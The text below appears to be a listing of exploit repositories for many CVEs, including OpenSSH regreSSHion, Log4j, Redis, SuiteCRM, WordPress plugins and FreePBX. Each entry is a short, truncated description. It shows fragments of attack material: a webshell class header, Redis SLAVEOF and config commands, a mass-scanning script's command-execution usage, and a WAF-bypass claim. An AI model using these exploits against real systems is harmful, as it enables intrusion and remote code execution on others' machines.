CVE-2025-55182-bypass

CVE-2025-55182 Header Bypass Next-Action header bypass for CVE-2025-55182. Achieves React RSC RCE without distinctive headers, bypassing WAF rules. Key Finding The Next-Action header is NOT required for exploitation. Attack Vector| Next-Action Header| WAF Detection ---|---|--- Original CVE|...

CVE-2021-40444

CVE-2021-40444 Prueba de concepto Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada in-the-wild:...

SuiteCRM-RCE

CVE-2020-28328 SuiteCRM Remote Code Execution via Log File System Setting and Log File Poisioning Overview I recently discovered two vulnerabilities in SuiteCRM that provides an attack chain for a low privileged user to achieve code execution on the underlying operating system. The attack chain i...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell with Ice Scorpion import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 exten...

CVE-2024-6387-poc-1

CVE-2024-6387 regreSSHion in OpenSSH Description CVE-2024-6387, nicknamed "regreSSHion," is a critical vulnerability in OpenSSH that allows unauthenticated remote attackers to execute code with root privileges on vulnerable Linux systems. This vulnerability arises from a race condition in the...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Using Burp Suite to Exploit Java Deserialization Vulnerabilities 0x01 Setting Up the Jboss JMXInvokerServlet Deserialization Vulnerability Test Environment: Jboss JMXInvokerServlet Deserialization Vulnerability Vulnerability Principle: JBoss reads the...

CVE-2022-28672

CVE-2022-28672 Discord Server This bug was Use after Free caused by improper handling of javascript object memory references. Blog Foxit PDF Reader - UaF - RCE - JIT Spraying Advisory CVE-2022-28672 Demo...

CVE-2023-22527

No soy responsable de ningún ataque ilegal CVE-2023-22527 Scripts de escaneo masivo ayuda usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t...

MDaemon-Advisories

MDaemon-Advisories MDaemon Advisories: CVE-2021-27180 Reflected XSS CVE-2021-27181 CSRF Token Fixation CVE-2021-27182 Iframe injection CVE-2021-27183 Remote Code Execution Those vulnerabilities were already patched on January 2021 and are published for CVE purposes. They can be chained to achieve...

Router-Exploit-Shovel

Pala de Explotación de Routers Generación Automatizada de Aplicaciones para Tipos de Desbordamiento de Pila en Routers Inalámbricos Router exploits shovel es una herramienta automatizada de generación de aplicaciones para tipos de desbordamiento de pila en routers inalámbricos. La herramienta...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

CVE-2021-44228-Apache-Log4j-Rce

Usage: 1. running RMIServer 2. running Main...

opendcim-exploit

openDCIM - SQLi to RCE via Config Poisoning Remote code execution chain targeting openDCIM's install.php LDAP configuration form. Built on the VulnCheck go-exploit framework. Vulnerability Chain | CVE| CWE| Description ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php performs no role check...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 This repository contains a proof-of-concept exploit for CVE-2024-51793, an unauthenticated arbitrary file upload vulnerability in a vulnerable WordPress plugin, leading to remote...

POC-CVE-2018-10933

POC-CVE-2018-10933 LibSSH Authentication Bypass Exploit using RCE References of code Git Repo of https://www.youtube.com/watch?v=ZSWQjmfcn4g example More information about the vulnerability https://www.libssh.org/security/advisories/CVE-2018-10933.txt https://vulners.com/cve/CVE-2018-10933...

SSH-Remote-Code-Execution

SSH Remote Code Execution SSH Zero-Day | Made by ClumsyLulz & Taylor Christian Newsome Summary This repository contains a C program that accepts input parameters and generates a packet to be sent to a server over the SSH protocol. The program allocates a buffer to hold the data, writes it to a...

CVE-2024-24401

Informe de Vulnerabilidad CVE Descubierto DISEÑADO PARA EJECUTARSE EN KALI LINUX Notas Nagios ha parcheado la versión 2024R1.0.1 en todas las descargas recientes. Para determinar si un objetivo es vulnerable, asegúrese de que esté utilizando una descarga anterior de 2024R1.0.1. El script...

deepin-linux_reader_RCE-exploit

CVE-2023-50254 - Deepin Linux's default document viewer deepin-reader RCE CVE-2023-50254: PoC Exploit for Deepin-reader RCE that affects unpatched Deepin Linux Desktops. Deepin Linux's default document reader "deepin-reader" software suffers from a serious vulnerability due to a design flaw that...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - Unauthenticated Arbitrary File Write via Chunked Upload Init/Finalize Ordering CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — Unauthenticated Arbitrary File Write via Chunked Upload Proof-of-Concept Exploit Chunked Upload Init/Finalize Ordering → Predictable Path...

cve-2025-5781_FreePBX

cve-2025-5781FreePBX In August 2025, a critical vulnerability was disclosed in the FreePBX Endpoint module. CVE-2025–57819 allows an unauthenticated attacker to exploit SQL injection in the Endpoint module and, through a chain of database manipulation and scheduled task execution, achieve remote...